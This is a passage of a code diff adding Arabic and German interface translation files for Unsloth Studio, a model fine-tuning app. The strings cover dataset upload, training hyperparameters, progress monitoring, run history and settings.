+      unsupportedFileType: "نوع ملف غير مدعوم",
+      uploadOneFileType: "حمّل ملف {types} واحدًا.",
+      datasetUploaded: "تم تحميل مجموعة البيانات",
+      evalDatasetUploaded: "تم تحميل مجموعة بيانات التقييم",
+      uploadOneFileAtATime: "حمّل ملفًا واحدًا في كل مرة",
+      uploadSingleFileDescription:
+        "يقبل تحميل مجموعة بيانات التدريب ملفًا واحدًا.",
+      checkingToken: "جارٍ التحقق من التوكن...",
+      getOrUpdateToken: "الحصول على التوكن أو تحديثه",
+      preview: "معاينة مجموعة البيانات",
+      split: "التقسيم",
+      subset: "المجموعة الفرعية",
+      s3: {
+        title: "تكوين S3",
+        description:
+          "تحميل مجموعات بيانات .parquet أو .json أو .jsonl أو .csv من Amazon S3",
+        bucket: "اسم الحاوية (Bucket)",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "منطقة AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "بادئة المسار",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "مسار اختياري داخل الحاوية إلى ملفات مجموعة البيانات",
+        accessKeyId: "معرّف مفتاح الوصول",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "مفتاح الوصول السري",
+        secretAccessKeyPlaceholder: "مفتاح الوصول السري لـ AWS الخاص بك",
+        useIamRole: "استخدام دور IAM",
+        useIamRoleTooltip:
+          "استخدم بيانات اعتماد دور IAM بدلاً من مفاتيح الوصول (موصى به لـ EC2/SageMaker)",
+        testConnection: "اختبار الاتصال",
+        connectionSuccess: "تم الاتصال بحاوية S3 بنجاح",
+        connectionFailed: "فشل الاتصال بحاوية S3",
+        comingSoon: "تكامل S3 قريبًا",
+        comingSoonDescription:
+          "يتطلب تحميل مجموعات بيانات S3 مكتبة boto3. هذه الميزة قيد التطوير.",
+      },
+    },
+    params: {
+      title: "المعلمات",
+      description: "إعداد المعلمات الفائقة للتدريب",
+      projectName: "اسم المشروع",
+      optional: "اختياري",
+      projectNameDescription:
+        "يُستخدم في أسماء مجلدات مخرجات التدريب والقيم الافتراضية للتصدير والسجل.",
+      loraSettings: "إعدادات LoRA",
+      trainingHyperparameters: "المعلمات الفائقة للتدريب",
+      maxSteps: "الحد الأقصى للخطوات",
+      epochs: "الحقب (Epochs)",
+      useMaxSteps: "استخدام الحد الأقصى للخطوات",
+      useEpochs: "استخدام الحقب",
+      maxStepsTooltip: "تجاوز إجمالي خطوات المُحسِّن.",
+      epochsTooltip: "عدد المرات الكاملة للمرور على مجموعة البيانات.",
+      epochsDescription: "كل حقبة (epoch) هي مرور كامل واحد على مجموعة بياناتك.",
+      maxStepsDescription:
+        "يحدّ التدريب بعدد ثابت من خطوات المُحسِّن.",
+      contextLength: "طول السياق",
+      contextLengthTooltip: "الحد الأقصى لعدد التوكنات لكل عينة تدريب.",
+      customContextLength: "أدخل قيمة مخصّصة",
+      contextLengthDescription: "الحد الأقصى لطول التسلسل لعينات التدريب",
+      learningRate: "معدل التعلم",
+      learningRateTooltip:
+        "حجم خطوة تحديثات الأوزان. القيم الأقل تُدرّب ببطء أكبر لكن باستقرار أكبر.",
+      learningRateDescription:
+        "موصى به: 2e-4 لـ LoRA، 5e-5 لـ CPT، 2e-5 للضبط الدقيق الكامل",
+      embeddingLearningRate: "معدل تعلم التضمين (Embedding)",
+      embeddingLearningRateTooltip:
+        "يُستخدم فقط عندما تُدرّب CPT على embed_tokens. التضمينات أسهل في زعزعة استقرارها من أوزان LoRA، لذا تحتاج عادةً إلى معدل تعلم أصغر. اتركه فارغًا لاستخدام lr/10؛ النطاق المعتاد أصغر بمقدار 2x إلى 10x من معدل التعلم الرئيسي. زِده فقط إذا كان تكييف المفردات أو توكنات المجال بطيئًا جدًا.",
+      embeddingLearningRateDescription:
+        "اتركه فارغًا لاستخدام lr/10 (موصى به). النطاق المعتاد أصغر بمقدار 2x إلى 10x من معدل التعلم الرئيسي.",
+      rank: "Rank",
+      rankTooltip:
+        "بُعد المصفوفات منخفضة الرتبة. الأعلى = سعة أكبر.",
+      alpha: "Alpha",
+      alphaTooltip: "عامل القياس لتحديثات LoRA. عادةً ضعف قيمة Rank.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "احتمال Dropout لطبقات LoRA لتقليل فرط التخصيص.",
+      visionLayers: "طبقات الرؤية",
+      languageLayers: "طبقات اللغة",
+      attentionModules: "وحدات الانتباه",
+      mlpModules: "وحدات MLP",
+      targetModules: "الوحدات المستهدفة",
+      enableLora: "تفعيل LoRA",
+      trainWithLora: "التدريب باستخدام LoRA",
+      stableRank: "Rank مستقر",
+      memoryEfficient: "موفّر للذاكرة",
+      optimization: "التحسين",
+      schedule: "الجدولة",
+      memory: "الذاكرة",
+      optimizer: "المُحسِّن",
+      optimizerTooltip:
+        "خوارزمية التحسين. تقلّل متغيرات 8 بت استخدام الذاكرة. يوصى بـ Fused لنماذج الرؤية.",
+      lrScheduler: "مُجدوِل معدل التعلم",
+      lrSchedulerTooltip:
+        "كيفية تغيّر معدل التعلم خلال التدريب. Linear يتناقص بثبات؛ Cosine يتناقص في منحنى.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "خطي",
+        cosine: "جيب التمام (Cosine)",
+      },
+      batchSize: "حجم الدفعة",
+      batchSizeTooltip: "العينات المعالَجة لكل خطوة. الأعلى يستخدم VRAM أكثر.",
+      gradAccum: "تراكم التدرّج",
+      gradAccumTooltip: "يحاكي أحجام دفعات أكبر دون VRAM إضافي.",
+      weightDecay: "اضمحلال الأوزان",
+      weightDecayTooltip: "تنظيم L2 لمنع فرط التخصيص.",
+      warmupSteps: "خطوات الإحماء",
+      warmupStepsTooltip:
+        "زيادة معدل التعلم تدريجيًا في بداية التدريب لتحقيق الاستقرار.",
+      scheduleEpochsTooltip:
+        "عدد المرات الكاملة للمرور على مجموعة البيانات. اضبطه على 0 للتشغيل حسب الحد الأقصى للخطوات.",
+      saveSteps: "خطوات الحفظ",
+      saveStepsTooltip: "حفظ نقطة تحقق كل N خطوة. 0 للتعطيل.",
+      evalSteps: "خطوات التقييم",
+      evalStepsTooltip:
+        "نسبة إجمالي خطوات التدريب بين عمليات التقييم (0-1). اضبطها على 0 لتعطيل التقييم. مثال: 0.01 = تقييم كل 1% من الخطوات.",
+      seed: "البذرة (Seed)",
+      seedTooltip: "بذرة عشوائية لإمكانية إعادة الإنتاج.",
+      gradCheckpoint: "نقطة تحقق التدرّج",
+      gradCheckpointTooltip:
+        "مقايضة الحوسبة بالذاكرة عبر إعادة حساب التنشيطات.",
+      none: "بلا",
+      standard: "قياسي",
+      enablePacking: "تفعيل التعبئة (packing)",
+      assistantCompletionsOnly: "إكمالات المساعد فقط",
+      readMore: "اقرأ المزيد",
+    },
+    training: {
+      title: "التدريب",
+      description: "مراقبة التدريب والتحكم فيه",
+      chartNoDataTitle: "لا توجد بيانات تدريب بعد",
+      chartNoDataDescription: "ابدأ التدريب لرؤية تقدم الخسارة (loss)",
+      startTraining: "بدء التدريب",
+      starting: "جارٍ البدء...",
+      loadingModel: "جارٍ تحميل النموذج...",
+      checkingDataset: "جارٍ التحقق من مجموعة البيانات...",
+      configLabel: "تكوين التدريب",
+      upload: "تحميل",
+      uploadConfigTooltip: "تحميل تكوين YAML محفوظ",
+      save: "حفظ",
+      saveConfigTooltip: "تنزيل التكوين الحالي بصيغة YAML",
+      reset: "إعادة تعيين",
+      resetConfigTooltip: "إعادة التعيين إلى إعدادات النموذج الافتراضية",
+      configLoaded: "تم تحميل التكوين",
+      failedToLoadConfig: "فشل تحميل التكوين",
+      invalidYamlFile: "ملف YAML غير صالح",
+      failedToReadFile: "فشلت قراءة الملف",
+      parametersReset: "تمت إعادة تعيين المعلمات إلى إعدادات النموذج الافتراضية",
+      audioIncompatible:
+        "لا يدعم هذا النموذج الصوت. انتقل إلى نموذج قادر على معالجة الصوت أو اختر مجموعة بيانات غير صوتية.",
+      visionIncompatible:
+        "النموذج النصي غير متوافق مع مجموعة بيانات متعددة الوسائط. انتقل إلى نموذج رؤية أو اختر مجموعة بيانات نصية فقط.",
+      cancelTitle: "إلغاء التدريب",
+      cancelDescription: "هل تريد إلغاء عملية التدريب الحالية؟",
+      continueAction: "متابعة التدريب",
+      cancelAction: "إلغاء التدريب",
+      stopTitle: "إيقاف التدريب",
+      stopDescription: "اختر كيف تريد إيقاف عملية التدريب الحالية.",
+      stopAction: "إيقاف",
+      stopping: "جارٍ الإيقاف...",
+      stopAndSave: "الإيقاف والحفظ",
+      compareInChat: "المقارنة في المحادثة",
+      exportModel: "تصدير النموذج",
+      milestone: "معلَم",
+      halfwayDone: "اكتمل النصف. تجاوز التدريب 50%.",
+      doneNextStep:
+        "اكتمل التدريب. الخطوة التالية: قارن بين مخرجات النموذج الأساسي والمضبوط دقيقًا.",
+    },
+    history: {
+      title: "السجل",
+      emptyTitle: "لا توجد عمليات تدريب بعد",
+      emptyDescription:
+        "لا توجد عمليات تدريب بعد. ابدأ أول عملية تدريب في علامة تبويب الإعداد.",
+      loadError: "فشل تحميل عمليات التدريب",
+      deleteError: "فشل حذف عملية التدريب. يُرجى إعادة المحاولة.",
+      retry: "إعادة المحاولة",
+      loadMore: "تحميل المزيد",
+      loading: "جارٍ التحميل...",
+      loadingRun: "جارٍ تحميل عملية التدريب...",
+      runNotFound: "لم يُعثر على العملية",
+      deleteTitle: "حذف عملية التدريب؟",
+      deleteDescription:
+        "سيؤدي هذا إلى حذف عملية التدريب هذه وجميع مقاييسها نهائيًا. لا يمكن التراجع عن هذا الإجراء.",
+      runCount: "{count} عملية",
+      oneRun: "عملية واحدة",
+      resume: "استئناف",
+      resumeTraining: "استئناف التدريب",
+      resuming: "جارٍ الاستئناف...",
+      deleteRun: "حذف العملية",
+      loss: "الخسارة",
+      steps: "الخطوات",
+      lossTrendSparkline: "مخطط اتجاه الخسارة المصغّر",
+      relativeJustNow: "الآن",
+      relativeMinutesAgo: "قبل {count} دقيقة",
+      relativeHoursAgo: "قبل {count} ساعة",
+      relativeDaysAgo: "قبل {count} يوم",
+      status: {
+        completed: "مكتمل",
+        stopped: "متوقف",
+        error: "خطأ",
+        running: "قيد التشغيل",
+        continued: "مُستأنَف",
+      },
+      message: {
+        completed: "اكتمل التدريب",
+        stopped: "توقّف التدريب",
+        running: "التدريب قيد التقدم",
+        errored: "حدث خطأ في التدريب",
+      },
+      copyPreviewLink: "نسخ رابط المعاينة",
+      previewLinkCopied: "تم نسخ رابط المعاينة",
+      previewLinkCopyFailed: "تعذّر نسخ الرابط",
+    },
+    charts: {
+      settings: "إعدادات الرسم البياني",
+      settingsDescription:
+        "اضبط عرض الرسم البياني بينما يستمر التدريب.",
+      openSettings: "فتح إعدادات الرسم البياني",
+      viewWindow: "نافذة العرض",
+      viewWindowDescription: "إظهار أحدث الخطوات فقط أو السجل الكامل.",
+      window: "النافذة",
+      all: "الكل",
+      trainingLoss: "خسارة التدريب",
+      trainingLossDescription: "التحكم في التراكبات وتنعيم EMA.",
+      smoothing: "التنعيم",
+      smoothingDescription: "حرّك إلى اليمين لمزيد من التنعيم. `0` = خام.",
+      showRawLoss: "إظهار الخسارة الخام",
+      showSmoothedLoss: "إظهار الخسارة المُنعّمة",
+      showAverageLine: "إظهار خط المتوسط",
+      scaleAndCleanup: "القياس والتنظيف",
+      linear: "خطي",
+      log: "لوغاريتمي",
+      noClip: "بدون اقتصاص",
+      clipP99: "اقتصاص p99",
+      clipP95: "اقتصاص p95",
+      lossAxis: "محور الخسارة",
+      gradientNormAxis: "محور معيار التدرّج",
+      learningRateAxis: "محور معدل التعلم",
+      resetDefaults: "إعادة تعيين الافتراضيات",
+      loss: "الخسارة",
+      smoothed: "مُنعّم",
+      evalLoss: "خسارة التقييم",
+      learningRate: "معدل التعلم",
+      lr: "LR",
+      gradNorm: "معيار التدرّج",
+      gradientNorm: "معيار التدرّج",
+      step: "الخطوة {step}",
+      averageValue: "متوسط {value}",
+      waitingForFirstEvaluationStep: "في انتظار خطوة التقييم الأولى...",
+      evaluationNotConfigured: "التقييم غير مُعدّ",
+      evalChartWillAppear: "سيظهر الرسم البياني بمجرد الوصول إلى eval_steps",
+      setEvalDatasetAndSteps:
+        "اضبط مجموعة بيانات التقييم وeval_steps لتتبّع خسارة التقييم",
+    },
+    progress: {
+      title: "تقدم التدريب",
+      liveMetrics: "مقاييس التدريب المباشرة",
+      exportGguf: "التصدير إلى GGUF",
+      openConfig: "فتح تكوين التدريب",
+      configLabel: "تكوين التدريب",
+      hyperparams: "المعلمات الفائقة",
+      epochs: "الحقب",
+      batchSize: "حجم الدفعة",
+      learningRate: "معدل التعلم",
+      optimizer: "المُحسِّن",
+      maxSteps: "الحد الأقصى للخطوات",
+      contextLength: "طول السياق",
+      warmupSteps: "خطوات الإحماء",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "المتغيّر",
+      epoch: "الحقبة {value}",
+      percentComplete: "{percent}% مكتمل",
+      stepProgress: "الخطوة {current} / {total}",
+      loss: "الخسارة",
+      lr: "LR",
+      gradNorm: "معيار التدرّج",
+      project: "المشروع",
+      model: "النموذج",
+      method: "الطريقة",
+      elapsed: "المنقضي: {value}",
+      eta: "الوقت المتبقّي المقدّر: {value}",
+      stepsPerSecond: "{value} خطوة/ث",
+      noStepsPerSecond: "-- خطوة/ث",
+      tokens: "التوكنات: {value}",
+      gpuMonitor: "مراقب GPU",
+      live: "مباشر",
+      utilization: "الاستخدام",
+      temperature: "درجة الحرارة",
+      vram: "VRAM",
+      power: "الطاقة",
+      phase: {
+        idle: "خامل",
+        downloadingModel: "جارٍ تنزيل النموذج",
+        downloadingDataset: "جارٍ تنزيل مجموعة البيانات",
+        loadingModel: "جارٍ تحميل النموذج",
+        loadingDataset: "جارٍ تحميل مجموعة البيانات",
+        configuring: "جارٍ الإعداد",
+        training: "قيد التدريب",
+        completed: "مكتمل",
+        error: "خطأ",
+        stopped: "متوقف",
+      },
+    },
+    trainingStart: {
+      ready: "جاهز",
+      downloading: "جارٍ التنزيل",
+      preparing: "جارٍ التحضير",
+      left: "{eta} متبقٍ",
+      downloaded: "تم تنزيل {size}",
+      terminalStart: "> يبدأ تدريب unsloth...",
+      preparingResources: "> جارٍ تحضير النموذج ومجموعة البيانات...",
+      gettingReady: "> نحن نُجهّز كل شيء لعمليتك...",
+      waitingForFirstStep: "> {message} | في انتظار الخطوة الأولى... ({step})",
+      resumingTraining: "جارٍ استئناف التدريب...",
+      startingTraining: "جارٍ بدء التدريب...",
+      dataset: "مجموعة البيانات",
+      datasetStreaming: "مجموعة البيانات: بث مباشر (بدون تنزيل كامل)",
+      modelWeights: "أوزان النموذج",
+    },
+    tour: {
+      guidedTour: "جولة إرشادية",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/de.ts b/studio/frontend/src/i18n/locales/de.ts
new file mode 100644
index 0000000000..e38cdbfa0e
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/de.ts
@@ -0,0 +1,1042 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const de = {
+  common: {
+    cancel: "Abbrechen",
+    close: "Schließen",
+    delete: "Löschen",
+    done: "Fertig",
+    error: "Fehler",
+    export: "Exportieren",
+    help: "Hilfe",
+    loading: "Wird geladen...",
+    new: "Neu",
+    rename: "Umbenennen",
+    save: "Speichern",
+    saving: "Wird gespeichert...",
+    search: "Suchen",
+    shutdown: "Herunterfahren",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Kontomenü von {name}",
+    updateAvailable: "Update verfügbar",
+    aria: {
+      home: "Unsloth Startseite",
+      closeSidebar: "Seitenleiste schließen",
+      openSidebar: "Seitenleiste öffnen",
+      chatOptions: "Chat-Optionen",
+      runOptions: "Trainingslauf-Optionen",
+    },
+    navigation: {
+      newChat: "Neuer Chat",
+      returnToChat: "Zurück zum Chat",
+      compare: "Vergleichen",
+      search: "Suchen",
+      hub: "Hub",
+      train: "Trainieren",
+      recipes: "Rezepte",
+      export: "Exportieren",
+      recents: "Zuletzt verwendet",
+      noChatsYet: "Noch keine Chats",
+      settings: "Einstellungen",
+      api: "API",
+      lightMode: "Heller Modus",
+      darkMode: "Dunkler Modus",
+      guidedTour: "Geführte Tour",
+      help: "Hilfe",
+      logOut: "Abmelden",
+      shutdown: "Herunterfahren",
+    },
+    notFound: {
+      title: "Seite nicht gefunden",
+      description: "{path} existiert nicht.",
+      backToChat: "Zurück zum Chat",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Chat löschen",
+        description: 'Möchten Sie diesen Chat "{name}" wirklich löschen?',
+      },
+      deleteRun: {
+        title: "Trainingslauf löschen",
+        description: 'Möchten Sie diesen Lauf "{name}" wirklich löschen?',
+      },
+      renameChat: {
+        title: "Chat umbenennen",
+        placeholder: "Chat-Titel",
+      },
+      renameRun: {
+        title: "Lauf umbenennen",
+        placeholder: "Laufname",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun:
+        "Ein laufender Trainingslauf kann nicht gelöscht werden",
+      failedToDeleteChat: "Chat konnte nicht gelöscht werden",
+      failedToDeleteRun: "Lauf konnte nicht gelöscht werden",
+      failedToRenameChat: "Chat konnte nicht umbenannt werden",
+      failedToRenameRun: "Lauf konnte nicht umbenannt werden",
+    },
+  },
+  settings: {
+    title: "Einstellungen",
+    dialog: {
+      title: "Einstellungen",
+      description: "Verwalten Sie Ihre Unsloth-Einstellungen.",
+      closeAriaLabel: "Einstellungen schließen",
+    },
+    tabs: {
+      general: "Allgemein",
+      profile: "Profil",
+      appearance: "Darstellung",
+      resources: "System",
+      chat: "Chat",
+      connections: "Verbindungen",
+      apiKeys: "API",
+      about: "Über",
+    },
+    general: {
+      title: "Allgemein",
+      description: "Globale Einstellungen für Unsloth.",
+      account: "Konto",
+      huggingFaceToken: "Hugging Face Token",
+      huggingFaceTokenDescription:
+        "Wird verwendet, um gated Modelle zu laden und Artefakte zu pushen.",
+      hideToken: "Token verbergen",
+      showToken: "Token anzeigen",
+      tokenSaved: "Token gespeichert",
+      password: "Passwort",
+      passwordDescription:
+        "Ändern Sie das Passwort für dieses Studio-Konto.",
+      passwordDialog: {
+        trigger: "Passwort ändern",
+        title: "Passwort ändern",
+        description:
+          "Geben Sie Ihr aktuelles Passwort ein und wählen Sie ein neues (mindestens {minLength} Zeichen).",
+        currentPassword: "Aktuelles Passwort",
+        newPassword: "Neues Passwort",
+        confirmPassword: "Neues Passwort bestätigen",
+        currentTooShort:
+          "Das aktuelle Passwort muss mindestens {minLength} Zeichen haben.",
+        newTooShort:
+          "Das neue Passwort muss mindestens {minLength} Zeichen haben.",
+        mismatch: "Die Passwörter stimmen nicht überein.",
+        samePassword:
+          "Das neue Passwort muss sich vom aktuellen Passwort unterscheiden.",
+        update: "Passwort aktualisieren",
+        updating: "Wird aktualisiert...",
+        updated: "Passwort aktualisiert.",
+        updateFailed: "Passwortaktualisierung fehlgeschlagen.",
+      },
+      chatDefaults: "Chat-Standardeinstellungen",
+      autoTitleNewChats: "Neue Chats automatisch benennen",
+      autoTitleNewChatsDescription:
+        "Erzeugt einen kurzen Titel aus der ersten Nachricht.",
+      helperLlm: {
+        sectionTitle: "Helfer-LLM",
+        preloadOnStartup: "Helfer-LLM beim Start vorab zwischenspeichern",
+        preloadOnStartupDescription:
+          "Lädt das AI-Assist-Helfermodell beim Start im Hintergrund herunter. Standardmäßig aus; AI Assist kann es weiterhin bei Bedarf abrufen.",
+        disabledByEnv:
+          "Deaktiviert durch UNSLOTH_HELPER_MODEL_DISABLE in der Backend-Umgebung.",
+        loadError: "Helfer-LLM-Einstellungen konnten nicht geladen werden.",
+        saveError:
+          "Helfer-LLM-Einstellungen konnten nicht gespeichert werden.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "Automatischer Modellwechsel (OpenAI API)",
+        enable: "Modell je Anfrage wechseln",
+        enableDescription:
+          "Wenn eine OpenAI-kompatible Anfrage ein anderes heruntergeladenes GGUF nennt, wird dieses vor der Auslieferung geladen. Standardmäßig aus; unbekannte Namen liefern weiterhin das geladene Modell aus.",
+        idleUnload: "Automatisches Entladen bei Inaktivität",
+        idleUnloadDescription:
+          "Entlädt das Modell nach dieser Anzahl inaktiver Sekunden, um VRAM freizugeben; die nächste Anfrage lädt es erneut. 0 hält es geladen.",
+        idleNeedsEnable:
+          "Aktivieren Sie \"Modell je Anfrage wechseln\", damit ein entladenes Modell bei der nächsten Nutzung erneut geladen wird.",
+        idleActiveViaEnv:
+          "Automatisches Entladen bei Inaktivität ist über die Umgebungsvariable UNSLOTH_MODEL_IDLE_TTL aktiv.",
+        loadError:
+          "Einstellungen für automatischen Modellwechsel konnten nicht geladen werden.",
+        saveError:
+          "Einstellungen für automatischen Modellwechsel konnten nicht gespeichert werden.",
+        idleError: "Geben Sie eine ganze Anzahl an Sekunden ein (0 oder mehr).",
+      },
+      previewSharing: {
+        sectionTitle: "Vorschau-Freigabe",
+        enableLabel: "Öffentliche Vorschaulinks",
+        enableDescription:
+          "Erlaubt jedem mit einem signierten Link, mit einem fertigen Modell zu chatten, ohne Anmeldung. Deaktivieren Sie dies, um die öffentliche Vorschau offline zu nehmen; geteilte Links funktionieren dann nicht mehr.",
+        loadError:
+          "Einstellungen für die Vorschau-Freigabe konnten nicht geladen werden.",
+        saveError:
+          "Einstellungen für die Vorschau-Freigabe konnten nicht gespeichert werden.",
+        revokeLabel: "Alle Vorschaulinks widerrufen",
+        revokeDescription:
+          "Rotiert das Signaturgeheimnis, sodass jeder von Ihnen geteilte Link nicht mehr funktioniert. Neu kopierte Links funktionieren weiterhin.",
+        revokeAction: "Links widerrufen",
+        revoking: "Wird widerrufen...",
+        revokeConfirmTitle: "Alle Vorschaulinks widerrufen?",
+        revokeConfirmDescription:
+          "Jeder von Ihnen geteilte Vorschaulink funktioniert sofort nicht mehr. Dies kann nicht rückgängig gemacht werden.",
+        revokeConfirmAction: "Alle Links widerrufen",
+        revoked: "Alle Vorschaulinks widerrufen",
+        revokeError: "Vorschaulinks konnten nicht widerrufen werden",
+      },
+      notifications: {
+        sectionTitle: "Benachrichtigungen",
+        showLlamaUpdates: "llama.cpp-Update-Benachrichtigungen",
+        showLlamaUpdatesDescription:
+          "Benachrichtigt, wenn ein neuerer llama.cpp-Build verfügbar ist, um neue Modelle auszuführen. Deaktivieren Sie dies, wenn Sie nur trainieren.",
+      },
+      gettingStarted: "Erste Schritte",
+      startOnboarding: "Einrichtung starten",
+      startOnboardingDescription:
+        "Öffnet den Einrichtungsassistenten erneut, ohne Ihr Konto zu ändern.",
+      startOnboardingAction: "Einrichtung starten",
+      uploads: {
+        sectionTitle: "Uploads",
+        maxUploadSize: "Upload-Limit für Trainingsdatensätze",
+        maxUploadSizeDescription: "Standard ist {defaultSize} MB.",
+      },
+      rag: {
+        sectionTitle: "Dokumente & RAG",
+        embeddingModel: "Embedding-Modell",
+        embeddingModelDescription:
+          "Hugging Face Modell oder lokaler Pfad zum Indexieren und Durchsuchen Ihrer Dokumente. Standard ist {defaultModel}.",
+        reindexWarning:
+          "Betrifft nur neu indexierte Dokumente. Laden Sie bestehende nach einer Modelländerung erneut hoch.",
+        emptyError:
+          "Geben Sie eine Hugging Face Modell-ID oder einen lokalen Pfad ein.",
+        loadError:
+          "Die Embedding-Modell-Einstellung konnte nicht geladen werden.",
+        saveError: "Das Embedding-Modell konnte nicht gespeichert werden.",
+        saved: "Embedding-Modell gespeichert.",
+        saveAnyway: "Trotzdem speichern",
+        resetAction: "Auf Standard zurücksetzen",
+      },
+      storage: {
+        sectionTitle: "Speicher",
+        modelsFolder: "Modell-Ordner",
+        modelsFolderDescription:
+          "Wo heruntergeladene Modelle gespeichert werden.",
+        openAction: "Öffnen",
+        copyAction: "Pfad kopieren",
+        copied: "Pfad kopiert",
+        openError: "Der Ordner konnte nicht geöffnet werden",
+        copyError: "Der Pfad konnte nicht kopiert werden",
+      },
+      resetPreferences: {
+        sectionTitle: "Gefahrenzone",
+        label: "Alle lokalen Einstellungen zurücksetzen",
+        description:
+          "Löscht nur lokal gespeicherte Einstellungen. Chats, API-Zugriff und in der DB gespeicherte Einstellungen bleiben erhalten.",
+        action: "Einstellungen zurücksetzen",
+        confirmTitle: "Alle lokalen Einstellungen zurücksetzen?",
+        confirmDescription:
+          "Löscht nur lokal gespeicherte Einstellungen und lädt Unsloth neu. Chats, API-Zugriff und in der DB gespeicherte Einstellungen bleiben erhalten.",
+        confirmAction: "Zurücksetzen und neu laden",
+      },
+    },
+    profile: {
+      title: "Profil",
+      description: "Wie Ihr Profil in Unsloth angezeigt wird.",
+      changePicture: "Profilbild ändern",
+      displayName: "Anzeigename",
+      nickname: "Wie soll Unsloth Sie nennen?",
+      nicknamePlaceholder: "Spitzname",
+      nicknameSaved: "Bevorzugter Name gespeichert",
+      avatarShape: "Form des Profilbilds",
+      avatarShapeCircle: "Kreis",
+      avatarShapeRounded: "Abgerundet",
+      chooseSloth: "Oder wählen Sie ein Faultier",
+      nameSaved: "Profilname gespeichert",
+      namePersistErrorTitle: "Profilname konnte nicht gespeichert werden",
+      namePersistErrorDescription:
+        "Der Name wurde für diese Sitzung aktualisiert, bleibt nach dem Neuladen aber möglicherweise nicht erhalten.",
+      photoUpdated: "Profilbild aktualisiert",
+      photoPersistErrorTitle: "Profilbild konnte nicht gespeichert werden",
+      photoPersistErrorDescription:
+        "Das Foto wurde für diese Sitzung aktualisiert, bleibt nach dem Neuladen aber möglicherweise nicht erhalten.",
+      photoUpdateErrorTitle: "Profilbild konnte nicht aktualisiert werden",
+      imageUseError: "Dieses Bild konnte nicht verwendet werden.",
+    },
+    appearance: {
+      title: "Darstellung",
+      description: "Wie Unsloth Studio auf diesem Gerät aussieht.",
+      theme: {
+        title: "Design",
+        label: "Farbschema",
+        description: "Hell, dunkel oder dem System folgen.",
+        system: "System",
+        light: "Hell",
+        dark: "Dunkel",
+      },
+      language: {
+        title: "Sprache",
+        label: "Anzeigesprache",
+        description: "Die von Unsloth verwendete Sprache.",
+        autoDetect: "Automatisch erkennen",
+      },
+      layout: {
+        title: "Layout",
+        compactSidebar: "Seitenleiste standardmäßig anheften",
+        compactSidebarDescription:
+          "Hält die Seitenleiste ausgeklappt, statt sie zu Symbolen einzuklappen.",
+      },
+    },
+    resources: {
+      title: "System",
+      description:
+        "Überwachen Sie Hardware und Speicher dieses Studio-Servers.",
+      liveUpdates: "Live-Updates",
+      floatingWindow: "Schwebendes Fenster",
+      disableOverlay: "Overlay deaktivieren",
+      liveMonitor: {
+        title: "Live-Monitor",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Festplatte",
+        vram: "VRAM",
+        cpuCores: "{logical} logische / {physical} physische Kerne",
+        currentLoad: "Aktuelle Auslastung",
+        free: "{value} frei",
+        noGpu: "Keine sichtbare GPU",
+      },
+      gpu: {
+        title: "GPU-Geräte",
+        noGpu:
+          "Keine sichtbare GPU erkannt. Oben werden nur die CPU-Ressourcen angezeigt.",
+        unknownDevice: "Unbekannte GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} belegt",
+        free: "{value} frei",
+        total: "{value} gesamt",
+      },
+      storage: {
+        title: "Speicher",
+        systemDisk: "Systemfestplatte",
+        diskUsage: "{used} belegt / {total}",
+        diskFree: "{free} frei",
+        modelsFolder: "Modell-Ordner",
+        modelsFolderDescription:
+          "Wo heruntergeladene Modelle gespeichert werden.",
+        openAction: "Öffnen",
+        copyAction: "Pfad kopieren",
+        copied: "Pfad kopiert",
+        openError: "Der Ordner konnte nicht geöffnet werden",
+        copyError: "Der Pfad konnte nicht kopiert werden",
+      },
+      environment: {
+        title: "Umgebung",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Betriebszeit",
+        processMemory: "Prozessspeicher",
+        notInstalled: "Nicht installiert",
+        unknown: "Unbekannt",
+      },
+    },
+    chat: {
+      title: "Chat",
+      description:
+        "Verwalten Sie den auf diesem Gerät gespeicherten Chatverlauf.",
+      modelDisclaimer: "Modell-Hinweis anzeigen",
+      modelDisclaimerDescription:
+        'Zeigt "LLMs können Fehler machen" unter dem Chatfeld an.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "HTML-Blöcke einklappen",
+        collapseHtmlBlocksDescription:
+          "Der Canvas-Modus klappt vollständiges HTML automatisch ein. Aktivieren Sie dies, um auch abgegrenzte HTML-Dokumente einzuklappen, wenn Canvas aus ist.",
+        allowNetworkAccess: "Netzwerkzugriff für Canvas erlauben",
+        allowNetworkAccessDescription:
+          "Erlaubt Canvas-Vorschauen, Skripte, Stile, Schriften, Medien und Netzwerkressourcen von CDNs zu laden. Für vollständig offline Vorschauen ausgeschaltet lassen.",
+      },
+      data: "Daten",
+      exportHistory: "Chatverlauf exportieren",
+      exportHistoryDescription:
+        "Alle Chats und Nachrichten als JSON herunterladen.",
+      exportAction: "Exportieren",
+      exportingAction: "Wird exportiert...",
+      exportConversations: "Zuletzt verwendete und Projekte exportieren",
+      exportConversationsDescription:
